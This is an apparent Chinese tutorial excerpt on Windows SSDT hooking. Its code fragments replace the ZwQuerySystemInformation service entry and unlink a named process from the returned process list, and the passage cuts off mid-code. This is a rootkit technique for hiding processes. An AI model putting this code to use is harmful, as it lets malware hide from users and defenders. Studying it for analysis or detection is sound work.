|
Windows服务调用机制(5) 将KeServiceDescriptorTable与相关数据结构联系起来,定义系统调用:
__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable; #define SYSCALL(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]
定义各种未公开的函数,如ZwQuerySystemInformation:
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( IN ULONG SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformaitonLength, OUT PULONG ReturnLength OPTIONAL);
修改系统服务调用,保存原始的入口地址,修改为我们自定义的程序入口地址,如ZwQuerySystemInformation:
OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation)); _asm cli (ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation)) = NewZwQuerySystemInformation; _asm sti
解除钩子,还原系统服务调用:
_asm cli (ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation)) = OldZwQuerySystemInformation; _asm sti
调用原始的系统服务程序代码:
NtStatus = (OldZwQuerySystemInformation) (SystemInformationClass, SystemInformation, SystemInformaitonLength, ReturnLength);
隐藏进程,既是修改系统返回的数据队列中相关项的偏移量使起指向需要隐藏进程的下一个单元,也就是说跳过我们需要隐藏进程的单元:
if(RtlCompareUnicodeString(&pCurrentNK->Name,&ProcCur->ProcessName,TRUE) == 0) { RtlUnicodeStringToAnsiString(&ProcNameA,&pCurrentNK->Name,TRUE); DbgPrint("Hidden Process Name: %s\n",ProcNameA.Buffer); if(ProcPre != NULL) { if(ProcCur->NextEntryDelta != 0) { ProcPre->NextEntryDelta += ProcCur->NextEntryDelta; } else { ProcPre->NextEntryDelta = 0; } } else { if(ProcCur->NextEntryDelta != 0) { SystemInformation = (PSYSTEM_PROCESSES)((PTSTR)ProcCur + ProcCur->NextEntryDelta); } else
|